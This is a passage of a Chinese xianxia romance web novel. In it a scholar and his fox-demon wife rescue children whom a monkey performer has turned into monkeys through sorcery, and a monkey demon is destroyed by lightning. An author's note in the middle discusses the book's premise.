顾父也出来了,见到是陈子均,同样又意外,又激动,连忙请他们落座,又要顾行天去烧水泡茶。 陈子均笑了,“大叔无需客气,先将手给我,我给你把个脉。” 替顾父把完脉,陈子均微微颔首,“恢复得还不错,只是你沉疴日久,还有些体虚,我再给你开个补气血的方子,吃半个月就能全好了。” 闻言,顾父和顾行天都无比喜悦。 顾父从怀里摸出几两碎银,“行天,去买些酒菜来,公子若不嫌弃,中午便在我们家用午饭吧。”后半句,却是对陈子均说的。 陈子均还没开口婉拒,顾行天已经接过银子,大步往外跑,“公子千万别走,我马上回来!” 陈子均无奈地笑了一下,对顾父道:“那我和娘子便叨扰了。” “什么叨扰不叨扰的,公子肯在寒舍用饭,是瞧得起我们父子。”顾父连忙道。 少顷后,顾行天买回了酒菜。 因为今天的天气不错,和风熙日,陈子均就让他将酒菜放在院中的桌子上,午饭直接在院子吃,顾行天照做。 然后,父子俩又请陈子均上座。 等他坐好,胡翘翘陪坐在他的身边,顾行天父子俩这才坐下。 顾父抱起酒坛,恭恭敬敬地替陈子均斟了一杯酒。 “公子,请。” “多谢。” 陈子均端起酒杯,浅尝了一口,这小镇上最好的酒和猴儿酒比起来,依旧天差地别,但他并不好酒,所以并不在意。 这时,大门又被人敲响了。 顾行天起身去开门,陈子均和胡翘翘也下意识地朝门口处望去。 敲门的是个十四五岁的少女,身材纤瘦,一张瓜子脸,眉目清秀,手里捧着几件衣服,臂弯里还挎着一个小小的竹篮,里面装着些鲜红欲滴的樱桃。 见到顾行天后,未语脸先红。 “那个,顾大哥,衣服我给你补好了……” “谢谢燕梅妹子……” “我爹上午还摘了不少樱桃,挺甜的,我给你和伯伯拿来了一些……” 话未说完,柳燕梅突然瞥见陈子均和胡翘翘,她一愣,“你、你家有客人?” “啊,对,就是我之前和你提过的……”顾行天还未说完,柳燕梅已经一把将衣服和竹篮都塞进他的怀中,匆匆跑掉。 顾行天抱着衣服和樱桃,站在原地怔楞了半天,直到女孩儿的身影消失不见,才如梦初醒,收回视线。 陈子均和胡翘翘对视一眼,都不禁面露微笑。 胡翘翘的小手悄悄自桌下伸过去,握住了陈子均的手,他的手心微凉,但她的心中甜甜暖暖。 春天,真的是一个极美好极美好的季节呢。 顾行天折回到桌前,低头坐下,呐呐不语。 陈子均和胡翘翘、顾父都很有默契地没提起方才的事儿,只是各自吃饭。 一顿饭结束后,陈子均让顾行天去借来纸笔,写了个新的药方给顾父。 又小坐了片刻,他方才同胡翘翘一块儿起身,表示出告辞之意。 顾父和顾行天连忙将两人送到门口。 顾行天刚推开门,忽地见到了小跑而来的柳燕梅。 她跑过来,脸色惶急地看着顾行天,“顾大哥,你有没有见到我家小虎?” “没有啊。”顾行天答了声,又问,“怎么了?” “他早上说去找铁柱玩,我让他记得回来吃午饭,方才见他一直没回家,我娘就让我去铁柱家寻他,结果,铁柱的家里人也在找铁柱,还说他们二人从早晨出去后,便一直没回来!”柳燕梅的声音里带上了哭腔,“我们两家人将附近他们常去玩的地方都找过了,还是没见着他们……该不会是被拐子……” “你别急,我也去找找看……”顾行天的额头开始冒汗,顿了下,扭头看着陈子均和胡翘翘,“公子,我不能送你和娘子了,得去帮忙找人。” 陈子均颔首。 胡翘翘听明白了大半,也很担忧,“你们找的孩子长什么模样,如果我和相公凑巧见到,就来告诉你们。” “个头大概这么高,”柳燕梅连忙比划着,“刚掉了门牙,下巴有颗痣,早上出门时穿着褐色衣裤。” 胡翘翘默默记住。 顾行天父子和柳燕梅都去寻找两个孩子了。 陈子均正要离开,感觉到自己的衣袖被胡翘翘轻扯了下。 “相公……” 陈子均看着她,“怎么?” 她眨巴了下大眼,犹豫地道,“翘翘想到了一个主意,或许能起到点作用……但是,需要相公帮忙……” “我能帮忙?”陈子均一怔,笑了,“娘子说说看。” “相公不是学会了凤语,可以和小鸟们沟通么,翘翘想,也许问一下这附近的鸟儿,说不定能找到什么线索……” 她看着陈子均,神情期待。 “娘子的主意不错,”陈子均略一沉吟,点头,“我试试。” 其实他也已想到这办法,但这世上的闲事多得数不胜数,他就算化身千万,也不可能管得过来,便没说出口。 当然,现在娘子有求,就另当别论。 总不能扫自家娘子的兴吧,而且,她若是能靠自己的能力找到那孩子,必定会开心得很。 今天他带她出来,本就是为了让她开心,至于是逛市集,还是找小孩,也无甚区别了。 见四周无人,陈子均扬起头,口中发出一阵清越的凤鸣之声。 很快,树枝上的几只小麻雀啾啾应了几声,便拍打翅膀,朝不同方向飞去。 胡翘翘好奇:“相公,你说了什么?” “我将那孩子的模样告诉了它们,让它们再去询问其它鸟儿,若是有鸟儿见过他,便带到我这里来。” 第77章 猴变孩童 两人站在原地等了片刻,之前飞走的一只麻雀回来了,同它一起的还有只喜鹊。 喜鹊停在枝头,恭敬地低头,叽叽喳喳地叫了几声。 陈子均听完,对胡翘翘道,“它见过,说那孩子和另一个孩子一块儿,去了个脸生黑斑男人的家里,但后面发生了什么,它也不得而知。” “脸长黑斑的男人?”胡翘翘微愣,连忙道,“相公,我们快去告诉他们!” 陈子均“嗯。”了一声,同她一块去找顾行天。 刚走了一段路,前方有人群围聚在一块儿,中间传来一阵敲锣打鼓,还有猴子的吱吱叫声,显然是有人在耍猴戏。 换做往常,胡翘翘肯定要停下来好好看一会儿,但她虽然爱玩,却并非分不清孰轻孰重,所以只匆忙自人缝中投去一眼,就抬脚继续往前走。 “咦……”她猛地停下脚步,讶异无比地瞪大了眼。 方才她一瞥时见到,那个耍猴人的脸上,就生着好大一块黑斑! 该不会他便是…… 胡翘翘抬头看了陈子均一眼,猜测道,“相公,难道说……” 陈子均只说,“先进去看看。” “好。” 陈子均护住胡翘翘,挤进了人群。 中间的一块空地上,那脸生黑斑的耍猴人正在让几只猴儿表演把戏,一会儿戴上面具跳舞,一会儿让它们装笨搞笑,那几只猴儿也似乎比寻常猴子要更聪明,甚至有几分通人性的感觉,耍猴人怎么说,它们便怎么做,配合得十分默契。 众人看得很是开心,哈哈直笑,不时鼓掌。 中间休息时,耍猴人肩上的一只小猴便跳下地,端着一个铜盘向人群鞠躬讨钱。 转了一圈后,铜盘内的铜板就堆成了一座小山。 耍猴人喜笑颜开,后面的表演也愈发卖力。 蓦地,原本正在表演的一只小猴见到不远处的一个妇人,“吱吱”大叫,朝那妇人扑了过去。 妇人吓了一跳,惊呼躲避。 耍猴人先是一惊,接着甩起手中的鞭子,用力抽打那只小猴,狞声道,“畜生,发什么疯!还没被打够吗?!” 小猴被打得在地上不停翻滚,痛苦哀叫,鲜血四溅,一簇簇猴毛在半空中飘飞。 不少人都感觉残忍,扭开目光,不去直视。 耍猴人却是面露狞笑,脸上的黑斑随之抖动,似是颇为快意。 胡翘翘心中恻隐,小手将陈子均的手握得更紧了几分。 她平日杀鸡吃鸭从不心软,那是为了填饱肚子,在她看来,天经地义。 但故意凌虐它们取乐,却不为她所喜。 那小猴无故扑袭路人,耍猴人鞭打它也是有情可原,只是这打得,未免太狠了些…… 直将那只小猴抽了个半死,爬都爬不起来,耍猴人才将它塞进旁边的一个铁笼中。 那笼中还有两只小猴,此刻缩在一起瑟瑟发抖。 原来是这么回事……陈子均的神念扫过这几只小猴,瞬间了然于心,开始思考合适的解决之法。 这方法不能让自家娘子发现异样,还得合情合理。 唔…… 他沉吟片刻,一只手缩进衣袖,开始掐动印诀。 胡翘翘看了半天猴戏,也没看出个所以然来,见陈子均依旧目不转睛,便小声问,“相公,我们是要一直看猴戏么?还是去找顾行天,将这事告诉他?” 她话音才落,天空便瞬间昏暗,狂风大作,甚至还有隐隐的雷声。 所有人都愣了,纷纷抬头,只见头顶不知何时已聚了一大片乌云,方才还没有,似乎刚刚才聚集起来,沉沉的往下坠,一副黑云压天天欲倾的模样。 “该不是要下雨了吧?” “不会吧,方才还大晴天呢!” “这天怎么说变就变啊?” “赶紧找个地方躲雨。” 人群生出小小的骚乱。那耍猴人却瞬间变了脸色,浑身一颤,差点跳起来,仿若对他来说,这下雨是一件极其恐怖之事! 甚至于,他连后面的表演和场地上道具也不顾了,急忙将几只猴子全塞进铁笼,便拎着铁笼要离开。 但还没等他挤出人群,豆大的雨点便已从天而降,眨眼就有铺天盖地之势! 耍猴人大惊失色,想也没想,立马翻出一块极大的雨布,将这布盖在笼子上,把笼子遮挡得严严实实,同时寻找地方避雨。 胡翘翘已经被陈子均拉到了一处屋檐下,见到这一幕,刚觉得这耍猴人对这些猴儿倒也不如她之前想象的那么残暴,突然一阵狂风刮来,笼上的布被掀开一角。 蓦地,笼中的几只小猴发狂似地吱吱叫了起来,一起扑到笼边,纷纷从栏杆的缝隙中探出手,想去接那天上落下的雨点。 那只叫做“阿福”的小猴双目凶光毕露,扑过去,用力将那几只小猴的手给扯回来。 但它只有一双手,扯了这只,顾不了那只。 终于,一只小猴的手伸了出去,碰触到了一滴雨。 在雨点落入它手心皮肤的瞬间,诡异之极的一幕上演。 水滴落处,猴皮竟然开始快速蜷缩、融化,下方露出一层人类般的白嫩肌肤! 好似一团墨汁落入清水,这融化以水滴落点为中心,迅速漫延,眨眼间,那小猴全身的猴皮竟然尽数融化、脱落,而后,赫然成了一个赤身裸体、遍体鳞伤的小小孩童,然后,放声啼哭! 什么?! 猴子,变成了…… 孩子?! 这是怎么一回事?! 众人被这诡异一幕震惊,一时间,反应不过来。 耍猴人的脸却唰地白了,他深吸一口气,强行冷静下来,也不管什么笼子、猴子了,只压低身形,悄悄走向人群外,准备趁众人还未回神时先溜走。 “小心,别让他走了,”这时,一个清朗温和又不失沉稳的声音忽然说,“八成是他用了什么妖术,将孩童变成了猴子!” 耍猴人大惊,循声抬眼,就见到一个俊美书生正抬手指着他,说话的也自然是对方。 他本来就心虚之极,现在一听所作所为被人拆穿,哪里还能保持镇定,便什么都顾不得想了,立即扭身就跑。 【这段情节的灵感来自《聊斋志异》中的造畜。】 第78章 妖术造畜 结果还没跑出两步,脚下不知怎么踩到一滩水,一下滑倒在地,好不容易爬起身,不远处已经有个黑瘦小子反应过来,快步奔他而来,耍猴人心慌之极,全力继续跑,那黑瘦小子忽然弯腰,从地上捡起一块碎砖头,接着一块天外飞砖,准而又准地砸在他右边的膝弯处。 扑通! 耍猴人直接跪地,要不是及时用手撑住地面,头也要磕下去了。 刚爬起来,又一个黑瘦的拳头砸在他肚子上,这一拳当真是势大力沉,直接把他糊到旁边的墙面上,像块没出炉的锅盔,整个肚子里也天翻地覆锣鼓喧天。 他张嘴吐出一口混着胆汁的胃液,扭头看着不远处还握着拳头,目中满是冷静杀意的黑瘦小子,一颗心直直地往下沉。 完了! 此刻,余人才逐渐从“猴子变孩子”的震惊中醒来,疑惑不已。 “妖术?” “什么妖术?” “我曾在书中见过一种名为“造畜”的妖术,能将人变为动物,肉眼难辨……”方才发话的那书生再次开口,“不过,这妖术有一个极大的弊端,便是那些由人所变的动物只要一碰触到雨水,就会立即恢复人形。” 书生说话时,他身边的一个俏生生的小娘子便抬起头望着他,一眨不眨,目光中全是崇拜骄傲。 人群顿时哗然,扭头看着那铁笼,目光中全是匪夷所思。 “难道说,这些猴子都是孩子变的?” “真有这种诡异的妖术?” 但方才,他们都亲眼看到,一只小猴在淋到雨后变成了孩童,甚至此刻那孩童还蜷缩在笼中大声哭泣,绝无虚假。 “试试其它猴子!” 有性急的人,冒雨冲到笼子边,一把掀开笼上的那块雨布。 雨点纷纷钻入铁笼,落在小猴子们的身上,只见一块块猴皮消融,一只只小猴消失,转眼间,铁笼中被五六个孩子填塞得满满当当!这么多孩子挤在一个铁笼中,好在他们个个年龄尚幼,身躯瘦小,和猴子也相差无几,才没有出现问题。 众人都骇住了,定在原地。 竟、竟是真的! 笼中却还有一只灰扑扑的小猴,此刻它全身皮毛被雨水淋湿,紧贴在身上,蜷缩在笼子边缘,一双圆溜溜的眼睛盯着众人,不知为何,那目光看起来竟有几分人类般的冷静,却又有几分阴沉狡诈,让人莫名浑身发寒。 “还有一只?” “怎么它没变成孩子?” 不少人疑惑,但很快,有人想到一个可能。 “应该只是一个普通猴子,不用管它。” 突然,方才那被猴子扑袭的妇人一愣,紧盯着其中一个满身是伤、啼哭不止的孩子,抬手捂嘴,颤抖失声:“阿、阿岚?” 片刻后,她指着那孩子喊:“这个是我外甥!之前他爹娘带他来逛市集,结果走失了,我们都以为他被拐子拐走了,竟然、竟然……” 方才那只小猴八成就是自己外甥变的,他见到亲人,扑上来欲要求救,反倒被那耍猴人狠狠鞭打了一顿。 这时,柳燕梅也在笼中看到了她弟弟,立即扑到笼边。 “小虎!” “铁柱!”另外几人喊道。 人群一起动手,七手八脚地将几个孩童从笼子里放了出来,又询问他们家在何处,还有什么亲人,又是怎么落在这个耍猴人的手中的。 大部分孩童都蓬头垢面,满身新旧伤痕,可见平时受尽折磨,此刻重获新生,都只顾嚎啕大哭,竟连问话都无法清楚回答。 好在小虎与铁柱今日才被变成小猴,虽受了不少惊吓,但没吃什么苦头,理智尚在,此刻被家人抱在怀中,边哭边抽抽噎噎地将事情经过说了。 人群尽皆听得义愤填膺。 顾行天拽着耍猴人,将他拖了过来,耍猴人不住的挣扎,却没有任何作用。 原本厚厚的人群自动散开一个缺口,让出一片空地,顾行天把耍猴人重重扔在了地上。 耍猴人惨叫一声,与此同时,无数双眼睛如刀子一般,齐刷刷地朝他刺去。 若在今日之前,问众人这世上何人最为丧尽天良,十人中没准会有八九人回答是拐子。谁家没有女眷、没有孩童?谁不害怕自家亲人被拐子拐走? 但此刻,和拐子相比,这耍猴人却更让人憎恨无数倍。 拐子虽然可恨,但若是老天垂怜,被拐走的孩童还有一丝寻回的可能,即便那些孩子被卖到了其他人的手里,好歹能留得性命。 但对方却将孩童变成小猴,即便家人和他们面对面的相遇,也绝对想不到,在这层猴皮下,就是他们苦苦寻觅的孩子! 何况,耍猴人方才狠狠鞭打小猴的举动他们也都看在了眼中。 如此凶残暴虐,简直毫无人性! 说不定,还有孩童已经被他折磨致死! “畜生!” “呸,是畜生不如!” 不少人遏制不住怒气,冲上去,疯狂拳打脚踢。 耍猴人声声惨叫,在雨水和泥泞中来回打滚,却没换来半分怜悯,甚至不少人在喊“打死他!”,还有人随手捡起身边的瓦砾石头,朝耍猴人砸过去。 “大家先停手,我还有些话要问他。”这时,忽然有人开口。 不少人顺声望去,说话的是一个俊美书生。 本来大家正群情激昂,换一个人喊停手,多半只当他在放屁。但他们却还记得,方才揭穿耍猴人妖术的人就是这书生,无形之中,就对其生出了几分信任尊崇,此刻听到他让停手,众人的心中虽依旧恨意滔天,还是停下了对耍猴人的殴打。 但临走时再踢个两脚,吐几口唾沫,自然是免不了的。 “哎哟……”耍猴人在地上打了几下滚,趴在地上,头发散乱,不停喘息着,忽然见到一双脚轻踩着雨水,缓缓走到了他的面前。 他下意识地一抬头,沿着长袍的边缘往上,很快,看见了居高临下俯视着他的书生。 只见书生与他对视,眼神淡然,语气亦是淡然,“我问你,这妖术你是从哪儿学来的,你为何要这么做,除了这几个孩子,你还害了多少孩童?” 耍猴人的眼珠子转了几下,冷笑一声,却不回答。 第79章 罪魁祸首 一来,他心知肚明,自己做出事情若交代清楚,死一百遍也绰绰有余。二来,他同样记得,方才戳穿自己妖术的就是这书生,若不是对方,自己本不会落到这般田地。 他会老实配合才怪。 胡翘翘见陈子均淋雨,连忙从屋檐下跑了出来。 “相公,这么大的雨,当心生病。” 没有雨伞,她便踮起脚尖儿,举起衣袖,努力替他挡雨,又看向那耍猴人,不悦地道,“喂,我相公问你话呢,你怎么不回答?” 耍猴人再次冷笑,还是不做声。 胡翘翘气呼呼地瞪大眼,刚要说话,人群外又涌出一阵动静。 “镇长来了。” “大家让让。” 人群从中分开,清水镇的镇长走了进来,他是个五六十岁的中年人,此刻脸色极为难看,显然已经得知了这里发生的事。 招手叫来人询问一番,镇长彻底弄清了整件事的来龙去脉,当即看向陈子均,神情也变得和颜悦色,客气地开口,“具体情况我已经弄明白了,能揭穿这妖人的恶迹,书生功不可没,我们清平镇上下老小全都感激不尽,待此事告一段落之后,必有厚谢。剩下的事情,无需书生再费心,由我来处理即可。” 说罢,他转头怒气冲冲地盯着耍猴人,简直恨不得将对方剥皮拆骨。 这段时间镇上接二连三丢失孩童,他以为是拐子所为,还额外安排了不少人手,小心防范,没想到,这些孩童都是遭眼前这畜生的妖术所害! 多亏老天有眼,今天突然下雨,又有这书生站出来揭穿对方的妖术,才救出了几名孩童。 否则,任这妖人作祟下去,镇上还不知道要丢多少孩子! 更重要的是,这可不是什么芝麻小事,传到上面,一个“管理不善”的评语必然是跑不了的,没准,镇长这个位置还会换个人坐! 陈子均却问,“不知镇长打算怎么做?” “先将他关押起来,按惯例,但凡可能涉及到妖鬼之事,需立即上报省城,再请仙师们前来处理。” “需要多久?” “至多一日。” “太晚了。” 镇长一愣,“什么?” 陈子均淡淡道,“等到一日之后,恐怕罪魁祸首早已逃之夭夭。” “罪魁祸首?”镇长瞪大眼,“书生的意思是,除了这妖人,还有……” 除了镇长,其余听到这话的人也都一脸惊讶。 就连耍猴人也愣住了,直勾勾地看着陈子均。 他是怎么知道的? 陈子均笑了笑,“让我再问几句,大家便能明白了。” 镇长略一犹豫,便点头道:“书生请。” 这时,有人递过来一把伞,胡翘翘忙接过去,替陈子均撑上,将他遮得严严实实,全不顾自己半个身子还露在雨中。 陈子均注意到了,将伞轻推到她那边,“娘子,别光给我打,也要照顾自己。” 胡翘翘心中一甜,点点头,但又将伞往他的方向挪了挪。 陈子均再次悠然地走到耍猴人的边上,胡翘翘站在他身边,认认真真地替他打着伞。 耍猴人下意识地抬头看了一眼,目光恰与陈子均碰了个正着,只觉得对方的眼神锐利之极,只是一眼,就似乎将他从皮到骨髓都彻底看透,心中不由打了个冷颤,脸上却依旧毫无表情。 陈子均看着他,语气轻飘飘地道:“你既然不想说,那就无需开口,我来说。” “你不过是个凡人,若背后无人指点,不可能学得会妖术。” 哼,就算你知道这点,又能如何。耍猴人瞪着他不说话。 面前这书生像是知道他在想什么,接着道:“自然,就算我知道了这点,也难以凭此找出真正的罪魁祸首。你虽被我们抓住,却一直有恃无恐,即便镇长说有仙师会来,我依旧没在你的眼中看到任何恐惧之色,想必你很自信,认为在仙师赶来之前,对方就会将你救走。” 耍猴人不吱声。 陈子均又道:“可你确定,对方真的会来救你?” 耍猴人一愣,随即心中冷笑,这书生分明是在挑拨离间,自己决不能上当。他依旧一声不吭。 “它若是真为你好,为什么要传你妖术?”陈子均淡淡道,“难道它没告诉过你,凡人使用妖术的代价,就是会消耗自身的寿元,用的次数越多,死得越快?” 这话一出,耍猴人猛地全身一震,脱口而出。 “什么?!” 陈子均注视着他脸上的神色,似笑非笑:“你不知道吗?莫非你以为,身为凡人,使用妖术不需要付出任何代价?” “不,不可能,你在骗我!” 话虽如此说,耍猴人的心里却开始不安起来,最近他确实觉得,身体似乎比以前要虚弱许多,经常胸闷气短,心口还阵阵发寒。 难道…… 他的目光快速朝铁笼的方向瞥了一眼,见到里面的那只叫做“阿福”的小猴之后,又快速收回。 不,即便他真的将对方供出,以他做的事,落在仙师们的手中,还是难免一死! 陈子均:“我猜你肯定在想,就算你说了,最后也免不了一死。可是,就这么死了,你不觉得冤吗?如果你没学这妖术,自然不会将孩童变成小猴,就不会有今天的事发生,更不会因为滥用妖术而寿元大减,这一切的一切,全都是对方一手造成,你不觉得自己很冤吗?” 耍猴人的脸色突然变了,嘴皮子动了动,欲言又止。 陈子均笑了笑,又继续道,“还有,它若真想救你,方才你险些被人打死的时候,为何不动手?现在也是天赐良机,它为什么同样没有动作?莫非它并不在这里,对现在的情况还不知情?” 这话一出,耍猴人蓦地一震,扭头看向铁笼,脸上的神色慢慢变成咬牙切齿。 是了,对方可是妖怪,刚才却眼睁睁的看着自己被那么多人拳打脚踢,没有丝毫动静。这岂不是印证了这书生的话,它其实压根就不在意自己的生死! 第80章 天降神雷 陈子均知他动摇,继续道,“你若不说,便是主谋,你要说了,只算被怂恿误入歧途,再加上举报有功,没准仙师还会对你网开一面,免你一死。” 说来也怪,之前耍猴人早有死的准备,并不觉得如何,此时一听说活命有望,再想到一直被对方算计,顿时一股怨气冒出,立即道:“好,我说,便是……” 突然,铁笼中那只名叫“阿福”的小猴突然张口,一股黑气急速射出,直直喷到耍猴人的脸上。 耍猴人连吭都没吭一声,就断了气。 这一下变故突生,众人都毫无防备,小猴直接从笼子里冲了出来,三两下跳上了路边的一棵树,视线居高临下地扫了一圈众人,最后停在了陈子均的身上,毛茸茸的猴脸上,忽地露出个似笑非笑的表情。 “该死的书生,我如此完美、如此天衣无缝的布局,竟毁在了一场雨和你的手中!” 众人骇然。 “猴子、猴子会说话!” “它是猴妖!” “原来是你……”陈子均微抬起头,饶有兴致地问,“能不能告诉我,你这完美、天衣无缝的布局,究竟是想做什么?” 猴妖心中微有些诧异,这书生怎么如此镇定,见到它这个妖怪现身,竟然不惊不惧,还有兴趣询问。 但它早已用神念探过四周,周围全是凡人,对它毫无威胁,再反复打量了会儿陈子均,怎么看都觉得对方只是个凡人书生,于是放下心来。 它一直觉得自己的布局天衣无缝,若非天公不作美,意外降了一场大雨,又冒出个多嘴的书生,最后的结局必然极为完美。 每次想到自己的布局,它的心中其实就得意之极,可这件事它偏又一直找不到人来分享,只能自己独自陶醉。 此刻被陈子均这么一问,突然就心中痒痒,觉得若是将这秘密一直深埋心底,不为人知,简直如人类所说的身着锦衣却半夜而行一般,未免太过遗憾可惜。 “既然你这么想知道,念在你马上要死的份上,我就告诉你好了。”猴儿蹲在树枝上,咧开嘴,阴测测地道,“我的计划,便是先教给那蠢货‘造畜’之法,再蛊惑他将那些人类孩童变为猴子,用这些猴子来表演把戏,大把挣钱……” 陈子均眯起眼,“你身为妖怪,想要杀多少凡人都不是难事,何必这么大费周章?” “自己杀,太没意思,”猴儿发出嘎嘎地怪笑,“我一想到那些丢了孩子的人类痛苦不堪,却不知道,他们苦苦寻找的孩子就在近在咫尺的身边,只不过是变成了猴儿而已……我就兴奋到浑身发抖!再一想到那些孩子被他们的同类折磨而死,等他们某天发现这真相,彻底崩溃的模样,就更加兴奋难当!!” 它说着,身体也跟着发抖起来——兴奋的。 “我什么都没做,只是教了那蠢货一门最粗浅的妖术,再稍加蛊惑,便能轻松地看着你们人类自相残杀,看着你们痛苦崩溃……这岂不是比自己动手杀人,更有乐趣,更加高明?” 人群尽皆全身发寒,这猴妖的心肠太恶毒! “这千万年来,你们人类残杀了我众多同胞骨肉,我早已发誓,要让你们也体会同胞相残、骨肉分离的痛苦!” 猴儿盯着陈子均,眼中透出浓浓杀意:“这计划本是天衣无缝,可惜老天不公,下一场雨还不够,还要让你这书生多嘴多舌!不杀死你,实在难泄我心头之恨!” 胡翘翘顿时跳了起来,大眼睛无比凶狠地瞪着它,“死猴子,你若敢伤我相公一根汗毛,我胡翘翘对天发誓,一定会让你魂飞魄散!” 她愤怒之极,若是眼神能杀人,恐怕这只坏猴子已经被她碎尸万段。 小手也已经从荷包里摸出了一颗雷果,紧紧握在手心中。 “就凭你?小娘子年龄不大,口气倒不小!”猴儿嘎嘎大笑。 “去死吧!” 顾行天捡起一块石子,用力朝它掷去。瞄准的正是它的脑袋,他天生神力,这一下换任何野兽打中,都要脑袋开花。然而那猴儿站在原地一动不动,只微微一偏脑袋,石头便从它的耳边擦过。 顾行天怒极,接连扔了几块石头,但依旧一块都没打中。那猴儿不慌不忙,避得无比轻松,反而嘎嘎直笑。 “兀那黑小子,别急着找死,等我杀了这书生,自然会轮到你!” 说罢,它盯着陈子均,眼中光泽闪烁,深吸一口气,突然身躯涨大,变得比成年男子还要高出大半头,然后双脚在树枝上一蹬,闪电般地朝着不远处的陈子均扑了过来! 它要亲手,将这书生撕成碎块! 猴妖要杀人了! 人群陷入惊恐,顿时一片混乱。 陈子均却站在原地未动,仿佛已经吓呆了,挪不动脚步。 顾行天离陈子均有十来步,此时要过去阻拦已经来不及了,而且,他也阻拦不住! “相公!”胡翘翘想也不想,扔掉雨伞,一步挡在陈子均的面前,同时小手用力,手中的一颗雷果破碎,雪亮的光芒隐隐闪现,头顶的乌云似是也感应到了什么,开始疯狂翻滚。 下一瞬,她一挥手,这破碎的雷果仿佛带着灵性,快速地直奔猴妖而去。 猴妖原本未将她放在眼中,但那雪亮之光映入眼中,生死危机瞬间浮现心头,它面色一变,正要侧身避开,忽然身子莫名僵住,失去控制,微微一顿。 下一瞬,它被雷果打了个正着。 头顶传来轰隆之声。 猴妖一抬头,立刻清晰的看到,一道强烈到了极致的雷光从上空劈下,带着一股无法形容的毁灭之力,照亮了它惊恐的面孔! “不——” 轰—— 震耳欲聋的巨响和刺眼欲盲的雷光,霎时充斥了整个清平镇! 一瞬间,所有人什么都见不到了,什么都听不到了,其他都被覆盖了,只有猴妖发出的哀嚎不绝于耳。 直到这些消退,人们才赫然地见到,那猴妖正满地打滚,它已经皮焦肉烂,身体上还有一团青色火焰焚烧。 此刻还在下雨,但那火焰似乎毫不畏雨,而且无论猴妖如何翻滚挣扎,依旧越燃越旺,眨眼间,将它吞噬。 猴妖的翻滚挣扎越来越弱,哀嚎之声也停止了。 很快,彻底变成一团飞灰。 众人都骇然地看着这一幕,心中全是震撼。 “天雷——”镇长激动了,抬起双手,面朝天空,“果然,这妖怪作恶多端,连老天都看不过眼,降下天雷将它劈了!” 众人反应过来,顿时欢声雷动。 当时太混乱,谁也没看清胡翘翘和陈子均做了些什么,但一道天雷从天而降,劈中了猴妖却是所有人都亲眼所见。 胡翘翘却第一时间看向陈子均,视线在他脸上梭巡,娇俏的小脸泛着雪白的紧张,明知多余但还是问了句,“相公,你有没有事?” 随便扯一点…… 周五中午上架,还有两天多吧。 这几天追读还不如上周五,很惆怅。 之前写了两本,都是都市背景的,所以这次想换个赛道,也算个新的尝试。 应该也有一部分读者看过我三本书吧。 《千层套路》里,陈嘉鱼是迷茫的,蔡佳怡相当于他的引路者,引导他追求爱情,走出迷茫。 《单身主义》这本,更像是“我孤独的世界中还有一个你。”,张安竹和陈流火算是性转的彼此,水仙之恋。(我这奇怪的xp) 这一本,我想写一种最纯真,但是又最炽热、毫无保留的爱。 就像小狗爱着它的主人,就像孩子爱着他/她的父母。 她将你视为全世界,全心全意地信赖你,毫无保留,毫无所求地爱你。 这份爱不掺任何杂质,超越生死,不在意物质,不在意地位,更不在意你的身份,是人是鬼,是妖是魔。 只因你是你。 你是她的世界中的最明亮,也是唯一的那一颗恒星。 …… 开这本书之前,也为人设犹豫了挺长时间,究竟是写男弱女强,还是男强女强、男强女弱、男女双弱。 这几年的男频仙侠言情文应该更流行男弱女强,男主抱女主大腿、吃软饭……大概能满足不少读者内心的梦想。(老实说我也有一点想,但又不是太想,有点矛盾。) 但后来想想,如果女主是大佬,在其他人前冷酷狠辣,偏偏对弱鸡男主爱之入骨、百依百顺,也不是不可以,但我会觉得挺割裂的,感觉不那么符合我想要的感觉了。 男强女强的话,就是史密斯夫妇那样,走身份信息差,缺点也同上一条男弱女强一样。 至于男女双弱,可能就是种田成长流了,一起成长我觉得也挺好,很温馨,但最后,我还是决定选择写男强女弱。 因为,这样才能更好地表达我要的那种纯真、炽热的感觉。 幻想这样的爱情有些疯狂,因为科学家们争先恐后地告诉我,爱情是多巴胺、催产素等激素作用。弗洛伊德说,爱情是人类的力比多在他人身上的投射,是生存欲望的体现。叔本华说,爱情只是种族生存意志的美化产物…… 所以,一定会有很多人认为它不现实,太过理想化,我才将这个故事放在了仙侠背景中。 但我想,如果它真的在你身边出现,应该没人能够拒绝得了吧? 第81章 怕,又不怕 陈子均注视着她的目光中是浓浓的感动,“有娘子保护,我自然没事。” 胡翘翘绝美眉眼中的担忧这才散去少许,又握紧他的手,认真地道,“相公刚才一定被吓坏了吧,你放心,翘翘就算拼了命,也不会让任何人伤害你的。” 陈子均看着她,轻声问,“娘子不觉得我需要你来保护,很没用吗?” 胡翘翘立即用力摇头:“相公的优点像天上的星星一样多,虽然不会修炼,可也没什么大不了的,没有人是完美的嘛,反正,对翘翘来说,相公永远是最好的,谁也比不上。” 她一点也不觉得她来保护陈子均有什么不应当的。 相公是个读书人,又是个凡人,平时连只鸡都没杀过,突然遇到那么厉害的猴妖,当然会受惊害怕。 而她身为妖怪,保护自己的相公也很正常。 反正,谁要伤害相公,就得先从她胡翘翘的尸体上踏过去! 陈子均捡起雨伞,替她撑上,微笑道,“好,娘子保护我,我替娘子撑伞挡风雨。” 胡翘翘心里一甜,捏着他的袖子,轻轻“嗯。”了一声。 不过…… 她想到那死掉的猴妖,再看看自己白嫩的小手,又抬头望望乌云密布的天空,心中又有些不可置信。 雷果的威力,竟然这么大? 还是说,刚好天上也在打雷,所以增强了雷果的威力? 那团火又是怎么回事? 小狐妖想了会儿,感觉小脑瓜子嗡嗡生疼,反正猴妖死了,相公也安全无恙,她就懒得再研究了。 猴妖一死,便乌云散去,雨霁天晴。 人们又啧啧称奇,愈发坚信,这是上天有眼,先用一场雨破解了猴妖的妖术,再让那俊美书生揭穿猴妖的阴谋,最后降下一道神雷劈死猴妖。 混乱的市集又渐渐恢复正常。 不过,估计日后的清平镇上,便会多出一个“书生巧破猴妖计、天降神雷除奸邪”的传说。 被变成猴子的孩童中,有几个已经同家人团聚,还有几个一时没找到家人的,也暂时被安置在镇长的家中,回头再慢慢替他们寻找家人。 那几家人领着孩子来到陈子均的面前,都是感激涕零,千恩万谢,有的甚至跪下砰砰磕头。 陈子均连说了几声“不用如此,受不住”之后,见几家人依旧情绪激动,只能牵着胡翘翘,飘然离去。 但两人无论走到哪儿,都会被路人指指点点,投以各种好奇感激的目光。 市集看来是逛不成了,陈子均只能一手拎着买好的东西,一手牵着胡翘翘,回到了牛车旁,结果又听到白崖村的几个村民正绘声绘色、加油添醋将猴妖之事讲给其他人听。 